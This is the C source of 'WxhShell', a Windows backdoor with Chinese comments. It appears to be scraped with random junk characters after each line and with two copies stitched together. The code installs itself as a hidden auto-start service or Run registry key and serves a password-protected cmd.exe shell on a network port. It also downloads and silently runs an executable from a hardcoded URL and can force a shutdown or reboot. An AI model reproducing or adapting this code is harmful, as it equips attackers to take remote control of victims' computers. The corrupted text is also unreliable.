    break; +YQ~t,/  
    } -VreBKn  
  // 关机 3lLW'g&=  
  case 'd': { XUQW;H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oieQ2>lYh  
    if(Boot(SHUTDOWN)) w8ZHk?:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y>78h2AU  
    else { BYr_Lz|T  
    closesocket(wsh); J:g<RZZ1  
    ExitThread(0); Z/NGv  
    } 1C}pv{0:&  
    break; A"\P&kqMV  
    } f74%YY  
  // 获取shell tyn?o  
  case 's': { qL%.5OCn(  
    CmdShell(wsh); c#\ah}]Vo  
    closesocket(wsh); oRT  
    ExitThread(0); X ]pR,\B  
    break; ) 8x:x7?  
  } .y %pGi  
  // 退出 y(/jTS/ hd  
  case 'x': { Xc8= 2n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JK(`6qB>(6  
    CloseIt(wsh); ^ Hz  
    break; 0okO+QU,a  
    } >YJ8u{Z{o  
  // 离开 #uD)0zdw  
  case 'q': { e9z$+h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G!!-+n<  
    closesocket(wsh); #RR:3ZP ZC  
    WSACleanup(); HsjELbH  
    exit(1); p@cfY]<7  
    break; q9>Ls-k  
        } )){PBT}t]  
  } 9:9N)cNvfX  
  } ?$30NK3G  
bk\dy7  
  // 提示信息 ;xW8Z<\-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Dj"W8'zh  
} *} *!+C3  
  } 0v_6cYA  
w|!YoMk+o  
  return; nV!2Dfd  
} Xk{!' 0  
_Hz~HoNU  
// shell模块句柄 ? -v  
int CmdShell(SOCKET sock) ,h%D4EVx  
{ '2Q.~6   
STARTUPINFO si; J<b3"wK0[  
ZeroMemory(&si,sizeof(si)); RL7C YB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {f`lSu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fs2m N1  
PROCESS_INFORMATION ProcessInfo; XPHQAo[(s  
char cmdline[]="cmd"; r.^0!(d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PtQQZ"ept  
  return 0; k%EWkM)?  
} 2gQY8h8  
Pcs^@QP  
// 自身启动模式 L Yh@ u1p  
int StartFromService(void) pchQ#GU  
{ i_ |9<7a  
typedef struct >:w?qEaE  
{ jgk{'_ j  
  DWORD ExitStatus; `FZ(#GDF  
  DWORD PebBaseAddress; ;jRL3gAe)  
  DWORD AffinityMask; [n!$D(|"!V  
  DWORD BasePriority; {c v;w  
  ULONG UniqueProcessId; mV6#!_"  
  ULONG InheritedFromUniqueProcessId; a(PjcQ4dY  
}   PROCESS_BASIC_INFORMATION; eP V-yy  
G*kE~s9R  
PROCNTQSIP NtQueryInformationProcess; 07.nq;/R  
3c01uObTL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @IEI%vH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >|l;*Kw,/P  
P_,v5Qx"-  
  HANDLE             hProcess; ??|d=4g\  
  PROCESS_BASIC_INFORMATION pbi; Ivz+Jj w  
((Vj]I% ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hfh@<'NL]  
  if(NULL == hInst ) return 0; MC4284A5  
sx-EA&5-9k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oq #o1>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DY)D(f/&3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n?y'c^  
Dl0/-=L  
  if (!NtQueryInformationProcess) return 0; F{TC#J}I%'  
y<O@rD8iA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8B}'\e4i  
  if(!hProcess) return 0; * <B)Z  
yr FZ~r@-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *D\0.K,o  
l'|E,N>X  
  CloseHandle(hProcess); ]O6KKz  
x7vq?fP0n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XxmJP5  
if(hProcess==NULL) return 0; w@87]/4Rq  
_aVJ$N.  
HMODULE hMod; /)sDnJ1r  
char procName[255]; * eA{[  
unsigned long cbNeeded; Gh2#-~|cB  
%GM>u2baw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^$e0t;W=  
/m97CC#+  
  CloseHandle(hProcess); `-~`<#E[  
x}v1X`6b  
if(strstr(procName,"services")) return 1; // 以服务启动 4uFIpS|rq  
3Z_t%J5QZ$  
  return 0; // 注册表启动 [_j6cj]  
} :9(3h"  
`2>XH:+7F  
// 主模块  `>%-  
int StartWxhshell(LPSTR lpCmdLine) \|v`l{  
{ V@B7 P{gH  
  SOCKET wsl; `Ac:f5a  
BOOL val=TRUE; +T-@5 v[  
  int port=0; Kp8fh-4_  
  struct sockaddr_in door; )V=0IZi  
V{43HA10b  
  if(wscfg.ws_autoins) Install(); xC<R:"Mn  
Po1hq2-U8  
port=atoi(lpCmdLine); wHA/b.jH  
<#zwKTmK1  
if(port<=0) port=wscfg.ws_port; XFtOmY  
zT$0xj8  
  WSADATA data; _~juv&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sbp  
yb69Q#V2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k69kv9v@J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~D*b3K 8X  
  door.sin_family = AF_INET; <'W=]IAV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ldK>HxM%Z  
  door.sin_port = htons(port); f(!E!\&n^  
&j3` )N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  GaHA%  
closesocket(wsl); K*[9j 0  
return 1; BlL|s=dlQV  
} w2k<)3 g~  
-<xyC8 $^$  
  if(listen(wsl,2) == INVALID_SOCKET) { :MK=h;5Z  
closesocket(wsl); B#1:Y;Z  
return 1; ,E%1Uq"  
} 9e]'OKL+  
  Wxhshell(wsl); Jms=YLIAA  
  WSACleanup(); expxp#S  
q1STRYb   
return 0; <]~ZPk[  
Og=[4?Kpk  
} 4e}{$s$Xx  
*vb^N0P  
// 以NT服务方式启动 `n6/ A)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sobtz}A*  
{ 2%5?F n=  
DWORD   status = 0; 10?qjjb&  
  DWORD   specificError = 0xfffffff; uWh|C9Y!A  
c& 3#-DNI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <8f(eP\*F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u %'y_C3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /oFc 03d  
  serviceStatus.dwWin32ExitCode     = 0; vmvFBzLR  
  serviceStatus.dwServiceSpecificExitCode = 0; ZBF1rx?  
  serviceStatus.dwCheckPoint       = 0; \<X2ns@Tf  
  serviceStatus.dwWaitHint       = 0; l nfm0  
-xz|ayn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _r]nJEF5  
  if (hServiceStatusHandle==0) return; o!=WFAi[pX  
3B;}j/h2  
status = GetLastError(); 3I]Fdp)'  
  if (status!=NO_ERROR) RE 9nU%!  
{ MA$Xv`6I\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gbn4 *<N  
    serviceStatus.dwCheckPoint       = 0; 3524m#4&@  
    serviceStatus.dwWaitHint       = 0; Qo.Uqz.C  
    serviceStatus.dwWin32ExitCode     = status; alc]  
    serviceStatus.dwServiceSpecificExitCode = specificError; DKTD Z*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %MbyKz:X  
    return; L@nebT;\'  
  } {M [~E|@D  
^Z#@3 =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; , |l@j%  
  serviceStatus.dwCheckPoint       = 0; wYjQ V?,  
  serviceStatus.dwWaitHint       = 0; ~H u"yAR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f|#8qiUS  
} &Xv1[nByU  
]rnXNn;  
// 处理NT服务事件,比如:启动、停止 {\EOo-&A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J,(7.+`~#  
{ 0aogBg_@K  
switch(fdwControl) 3"Yif  
{ 0yz~W(tsm  
case SERVICE_CONTROL_STOP: S7CV w,2  
  serviceStatus.dwWin32ExitCode = 0; 9_UN.]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +bUW!$G  
  serviceStatus.dwCheckPoint   = 0; -TTs.O8P|<  
  serviceStatus.dwWaitHint     = 0; x#mtS-sw2Q  
  { r1;e 0\?`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yy hny[fa9  
  } 0cFn{q'u  
  return; ETO$9}x[  
case SERVICE_CONTROL_PAUSE: @(>XOj?+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [zQ WyDu  
  break; #]y5z i  
case SERVICE_CONTROL_CONTINUE: O#:&*Mv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =JW[pRI5a  
  break; ' S,2  
case SERVICE_CONTROL_INTERROGATE:  &{ZSE^  
  break; 4jGLAor|  
}; U(*yL-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {fU?idY)c  
} qp&4 1  
`|EH[W&y  
// 标准应用程序主函数 Pw{"_g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) krjN7&  
{ @1g&Z}L o  
SO3cY#i z"  
// 获取操作系统版本 + xp*]a  
OsIsNt=GetOsVer(); _B[WY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :6D0j  
!y. $J<  
  // 从命令行安装 \ I:.<2i  
  if(strpbrk(lpCmdLine,"iI")) Install(); aMJ;bQD  
W#{la`#Bu  
  // 下载执行文件 *ik/p  
if(wscfg.ws_downexe) { #tDW!Xv?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y)Tl<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5g>wV  
} CTp!di|  
7$7n71o  
if(!OsIsNt) { H\#:,s{1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ")%r}:0  
HideProc(); [!~}S  
StartWxhshell(lpCmdLine); q@ZlJ3%l,  
} |')-VhLLK  
else cDeZMsV  
  if(StartFromService()) utH%y\NMF|  
  // 以服务方式启动 ,E}$[mHyjz  
  StartServiceCtrlDispatcher(DispatchTable); [l*;E f,  
else mU@xc N  
  // 普通方式启动 >DP:GcTG  
  StartWxhshell(lpCmdLine); 3=- })X ;  
!re1EL  
return 0; `!i-#~n  
} [/$N!2'5  
RJ}#)cT  
h1f8ktF  
QDE$E.a  
=========================================== !d8A  
B+"g2Y  
9M'DC^x*T  
9/kXc4  
;^3$kF  
; )llt G  
" +pp9d-n  
CVQB"L  
#include <stdio.h> _kN*e:t  
#include <string.h> W&C-/O,m  
#include <windows.h> Gx'TkU=  
#include <winsock2.h> Z0* %Rq  
#include <winsvc.h> 3ZojE ux`  
#include <urlmon.h> <kbyZXV@K  
KOSQQf o  
#pragma comment (lib, "Ws2_32.lib") ;`UecLb#  
#pragma comment (lib, "urlmon.lib") Yb:pAzw6  
:(p )1=I  
#define MAX_USER   100 // 最大客户端连接数 r}W2Ak\  
#define BUF_SOCK   200 // sock buffer 8\Hr5FqB(  
#define KEY_BUFF   255 // 输入 buffer wC` R>)  
1mH\k5xu  
#define REBOOT     0   // 重启 SlaDt  
#define SHUTDOWN   1   // 关机 CDdkoajBa  
-^SA8y  
#define DEF_PORT   5000 // 监听端口 |/T43ADW  
?KP}#>Ba@  
#define REG_LEN     16   // 注册表键长度 >|*yh~  
#define SVC_LEN     80   // NT服务名长度 'jjb[{g^}}  
$$1qF"GF  
// 从dll定义API gQouOjfP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RiR:69xwR*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e;ty!)]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >EP(~G3u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4["&O=:d  
-JV~[-,  
// wxhshell配置信息 p]ivf  
struct WSCFG { GEe`ZhG,  
  int ws_port;         // 监听端口 J/W{/E>;  
  char ws_passstr[REG_LEN]; // 口令 RU&_j* U  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Qd,VE 8u  
  char ws_regname[REG_LEN]; // 注册表键名 o6L9UdT   
  char ws_svcname[REG_LEN]; // 服务名 !')y&7a~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y%cO#P@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -F1- e+=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (OmH~lSO.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #YK5WTn5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b,<9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O#_b7i  
<Kt3PyF  
}; >M;u*Go`QO  
g^~Kze  
// default Wxhshell configuration tju|UhP3  
struct WSCFG wscfg={DEF_PORT, &`!^Zq vG  
    "xuhuanlingzhe", z`U Ukl}T  
    1, 7r 0,> 3"  
    "Wxhshell", ;3m!:l  
    "Wxhshell", i8PuC^]  
            "WxhShell Service", N1x@-/xa|  
    "Wrsky Windows CmdShell Service", d,cN(  
    "Please Input Your Password: ", '&yeQ   
  1, jbmTmh1q  
  "http://www.wrsky.com/wxhshell.exe", Y(6Sp'0  
  "Wxhshell.exe" ..<3%fL3  
    }; XL5Es:"+?S  
0 f/.>1M=  
// 消息定义模块 %2l7Hmp4H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uT_!'l$fr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !#x=JX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HY}j!X  
char *msg_ws_ext="\n\rExit."; +R.N%_  
char *msg_ws_end="\n\rQuit."; MI#mAg<  
char *msg_ws_boot="\n\rReboot..."; 5VE2@Fn}  
char *msg_ws_poff="\n\rShutdown..."; rg QEUDEQ  
char *msg_ws_down="\n\rSave to "; m~`>`4  
- u3e5gW  
char *msg_ws_err="\n\rErr!"; }!d;(/)rb  
char *msg_ws_ok="\n\rOK!"; *}! MOqP  
'0t-]NAc  
char ExeFile[MAX_PATH]; [aqu }Su  
int nUser = 0; ,/,9j{|"j  
HANDLE handles[MAX_USER]; :Vuf6,  
int OsIsNt; & >JDPB?5  
:k,Q,B.I  
SERVICE_STATUS       serviceStatus; .tXtcf/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {}Ejt:rKN  
t?)pl2!A  
// 函数声明 [=%YV# O  
int Install(void); C>QIrZu  
int Uninstall(void); &KC!*}<tx  
int DownloadFile(char *sURL, SOCKET wsh); XcfKx@l  
int Boot(int flag); z2yJ#  
void HideProc(void); M>H=z#C>/A  
int GetOsVer(void); my.`k'  
int Wxhshell(SOCKET wsl); W WG /k17  
void TalkWithClient(void *cs); pW?& J>\6  
int CmdShell(SOCKET sock); .[s2zI  
int StartFromService(void); qE7R4>5xjO  
int StartWxhshell(LPSTR lpCmdLine); u{f* M,k  
)Y]/^1hx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5#JJ?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;/8{N0  
[=TCEU{"~  
// 数据结构和表定义 SU%DW4 6  
SERVICE_TABLE_ENTRY DispatchTable[] = \h{r;#g  
{ |M~ON=  
{wscfg.ws_svcname, NTServiceMain}, %y`7);.q  
{NULL, NULL} yy2I2Bv  
}; cu7(.  
Q(@IK&v  
// 自我安装 D!LX?_cD1i  
int Install(void) 9'~- U  
{ FG-L0X  
  char svExeFile[MAX_PATH]; ;</Lf=+Vm  
  HKEY key; eC`pnE  
  strcpy(svExeFile,ExeFile); ljJ>;g+  
z3 ?\:Yz  
// 如果是win9x系统,修改注册表设为自启动 `NNf&y)y  
if(!OsIsNt) { )Hw:E71h2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UWXm?v2j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7"v$- Wy  
  RegCloseKey(key); -w 6 "?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mDMt5(.   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]s1 YaNq  
  RegCloseKey(key); a P()|js  
  return 0; ^ @=^;nB  
    } w!3>N"em  
  } /2uQCw&x-  
} +Ov2`O8?  
else { {1lO  
0 t.p1  
// 如果是NT以上系统,安装为系统服务 -8Ti*:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NucM+r1P  
if (schSCManager!=0) +|RB0}hFS-  
{ 3{Q,h pZN  
  SC_HANDLE schService = CreateService  lhLGG  
  ( 7v"lNP-?jU  
  schSCManager, O>0VTW  
  wscfg.ws_svcname, `)>7)={  
  wscfg.ws_svcdisp, : mGAt[Cc  
  SERVICE_ALL_ACCESS, 7^e +  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1(dj[3Mt  
  SERVICE_AUTO_START, NeOxpn[  
  SERVICE_ERROR_NORMAL, $ 17 su')  
  svExeFile, JhK/']R  
  NULL, )9j06(<A  
  NULL, -pb&-@Hul  
  NULL, %!j:fJ()  
  NULL, [J#1Ff;  
  NULL Bx~[F  
  ); Ubz"rCjq  
  if (schService!=0) viaJblYj(f  
  { M#jN-ix  
  CloseServiceHandle(schService); b\55,La  
  CloseServiceHandle(schSCManager); Jobiq]|>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U]4pA#*{|  
  strcat(svExeFile,wscfg.ws_svcname); yfNX7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y&J@?Hc>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ 0Yh!L?\  
  RegCloseKey(key); 34 AP(3w  
  return 0; CQg X=!q  
    } wzWbB2Mb5  
  } j ) vlM+  
  CloseServiceHandle(schSCManager); u:gtOjk2  
} e]>ori 8  
} h5zVGr  
t!;/Z6\Pb  
return 1; R MYP"  
} -e@!  
$ChK]v 6C  
// 自我卸载 }-<zWI {p  
int Uninstall(void) qCMl!g'  
{ ]dPZ.r  
  HKEY key; p='-\M74K  
deX5yrvOie  
if(!OsIsNt) { )h$NS2B`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vd9@Dy  
  RegDeleteValue(key,wscfg.ws_regname); <eN R8(P  
  RegCloseKey(key); 2ef;NC.&n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,d,\-x-+/  
  RegDeleteValue(key,wscfg.ws_regname); =H5\$&xj4.  
  RegCloseKey(key); alFjc.~}  
  return 0; c@m5 ~  
  } u b?K,  
} hq>Csj==@  
} g=)J~1&p  
else { <g2_6C\j  
% g"eV4 j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "dh:-x6  
if (schSCManager!=0) )hKS0`$|  
{ }OShT+xeX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j8,n7!G  
  if (schService!=0) >um!Eo  
  { VL( <  
  if(DeleteService(schService)!=0) { V,7%1TZ:  
  CloseServiceHandle(schService); mz7l'4']+  
  CloseServiceHandle(schSCManager); ww d'0P`/  
  return 0; 2h^WYpCm  
  } e&I t  
  CloseServiceHandle(schService); rJfqA@  
  } *gsAn<  
  CloseServiceHandle(schSCManager); {y^3> 7  
} !cEG}(|h  
} cd@.zg'sYn  
8%{q%+  
return 1; !UBO_X%dz  
} V1=*z  
=H]F`[B=  
// 从指定url下载文件 "kW!{n  
int DownloadFile(char *sURL, SOCKET wsh) TJ@Cjy%  
{ -C7FuD[Xw  
  HRESULT hr; 0(>rG{u  
char seps[]= "/"; ph:3|d  
char *token; Mio>{%/  
char *file; g9h(sLSF  
char myURL[MAX_PATH]; 25{ uz  
char myFILE[MAX_PATH]; **_&i!dtL  
")#<y@Rv  
strcpy(myURL,sURL); ak:v3cQR  
  token=strtok(myURL,seps); qztV,R T  
  while(token!=NULL) > 6CV4 L  
  { !3&kQpF  
    file=token; 8|1^|B(l  
  token=strtok(NULL,seps); Eh8Pwt7C@  
  } 2h~-  
f?fKhu2  
GetCurrentDirectory(MAX_PATH,myFILE); >%b\yl%0  
strcat(myFILE, "\\"); SqPtWEq@P  
strcat(myFILE, file); Sq]pQ8  
  send(wsh,myFILE,strlen(myFILE),0); jB$SUO`*  
send(wsh,"...",3,0); pR o s{Uq"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QOFvsJ<s  
  if(hr==S_OK) H:&?ha,9  
return 0; >O`l8tM  
else eBW=^B"y+  
return 1; Jcf"#u-Q/  
P8yIegPY  
} nn~YK  
B;zt#H4  
// 系统电源模块 - Xupq/[,  
int Boot(int flag) Rhgj&4  
{ h,t|V}Wb  
  HANDLE hToken; .=R lOK  
  TOKEN_PRIVILEGES tkp; !F4;_A`X  
JMV50 y  
  if(OsIsNt) { 3 pWM~(#>-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H -t|i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (yrh=6=z  
    tkp.PrivilegeCount = 1; hXL|22>w<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U5ZX78>a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qc-,+sn(  
if(flag==REBOOT) { 5fjd{Y[k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !|{IVm/J  
  return 0; mNmUUj9z  
} {a q9i  
else { :> -1'HC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nL `9l1  
  return 0; I`B'1"{  
} iDb;_?  
  } xp \S2@<  
  else { u</8w&!  
if(flag==REBOOT) { I+?hG6NM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rs8\)\z  
  return 0; B&KL2&Z~Pq  
} {")\0|2\x  
else { mB 55PYA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '?Bg;Z'L%  
  return 0; \{|ImCH  
} Zc5 :]]  
} _2Zp1h,  
7qIB7_K5  
return 1; O12Q8Oj!0  
} @"87F{!  
H'g?llh1J  
// win9x进程隐藏模块 4cgIEw[6  
void HideProc(void) 0irr7Y  
{ =]>%t]  
4*H"Z(HP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7} O;FX+x  
  if ( hKernel != NULL ) -$k>F#  
  { xF8S*,#,*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I}0_nge  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J1F{v)T '?  
    FreeLibrary(hKernel); j'rS&BI G  
  } m2bDHQ+  
6qp5Xt+  
return; I44s(G1j l  
} wz(K*FP  
440FhD Mj  
// 获取操作系统版本 pWaPC /,g  
int GetOsVer(void) *o?i:LE]  
{ Fz"ff4Bx [  
  OSVERSIONINFO winfo; f05d ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #gZ|T M/h  
  GetVersionEx(&winfo); ~ 9M!)\~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;IP~Tb]&  
  return 1; D!3{gV#  
  else v548ysE)  
  return 0; 5G*II_j  
} P'[<A Z  
m#@_8_ M  
// 客户端句柄模块 hl/itSl$  
int Wxhshell(SOCKET wsl) a|qsQ'1,;  
{ :{}_|]>K  
  SOCKET wsh; .KA V)So"  
  struct sockaddr_in client; |ng%PQq)  
  DWORD myID; POd/+e9d  
bg7n  
  while(nUser<MAX_USER) BWK IbG  
{ f6ZZ}lwaV  
  int nSize=sizeof(client); A|RR]CFJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D(X qyN-P  
  if(wsh==INVALID_SOCKET) return 1; oK+Lzb\d{M  
k=n "+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d]B= *7]  
if(handles[nUser]==0) Z6s5M{mE  
  closesocket(wsh); \ aKd5@  
else ?S`>>^  
  nUser++; AlX3Wv }  
  } :=!Mh}i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *8A6Q9YT  
/^<en(0=P  
  return 0; !D:k!  
} ,)#.a%EKA  
zY APf &5  
// 关闭 socket /6tcSg)  
void CloseIt(SOCKET wsh) EZj1jpL  
{ vDDljQXw4  
closesocket(wsh); aj7dH5SZl  
nUser--; $G";2(-k  
ExitThread(0); gA:TL{X0  
} bx;f`8SN  
qu{mqkfN>  
// 客户端请求句柄 J_"3UZ~&  
void TalkWithClient(void *cs) ejcwg*i  
{ 3wt  
(2txM"Dja  
  SOCKET wsh=(SOCKET)cs; PZOORjF8A  
  char pwd[SVC_LEN]; Ye |G44z  
  char cmd[KEY_BUFF]; I'_v{k5ZI  
char chr[1]; &L3 #:jSk  
int i,j; :JV\){P  
.h8M  
  while (nUser < MAX_USER) { \qq-smcM-  
z,Xk\@  
if(wscfg.ws_passstr) { L|67f4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?!S GiARW?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yn<)k_kp  
  //ZeroMemory(pwd,KEY_BUFF); qei$<j'b  
      i=0; }98-5'u.X  
  while(i<SVC_LEN) { uWc:jP  
$ KQ,}I  
  // 设置超时 Auac>')&Q  
  fd_set FdRead; #93}E Y  
  struct timeval TimeOut; qx%jAs+~  
  FD_ZERO(&FdRead); >]/dOH,A  
  FD_SET(wsh,&FdRead); 'lQYJ0  
  TimeOut.tv_sec=8; &o.iUk  
  TimeOut.tv_usec=0; otq,R6 ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l9Pu&M?5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $9H[3OZPVv  
jT^!J+?6K+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0xP:9rm  
  pwd=chr[0]; {hd-w4"115  
  if(chr[0]==0xd || chr[0]==0xa) { y4<+-  
  pwd=0; qS]G&l6QF  
  break; (#u{ U=  
  } }tR'Hz2  
  i++; qJ Gm8^b-  
    } =] KIkS3  
e^frVEV  
  // 如果是非法用户,关闭 socket [=~!w_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iS-K ~qa  
} /0\QL+^!  
HD00J]y_   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4*8&[b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dq1TRFu  
j+0.= #{??  
while(1) { ,%8$D-4#_  
x]' H jTqX  
  ZeroMemory(cmd,KEY_BUFF); A$m<@%Sz  
m/?h2McS  
      // 自动支持客户端 telnet标准   ~XQ$aRl&  
  j=0; N cM3P G  
  while(j<KEY_BUFF) { LUul7y'"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FV8\ +ep  
  cmd[j]=chr[0]; ,;3:pr  
  if(chr[0]==0xa || chr[0]==0xd) { BhkAQEsWTQ  
  cmd[j]=0; Iaa|qJ4  
  break; Wa, 7P2r  
  } {X]9^=O"  
  j++; >w2f8tW`PP  
    } 3_U\VGm  
enPYj.*/0  
  // 下载文件 Hdna{@~  
  if(strstr(cmd,"http://")) { sH@  &*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U,HS;wo;t  
  if(DownloadFile(cmd,wsh)) 6vWii)O.D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JD-Becz  
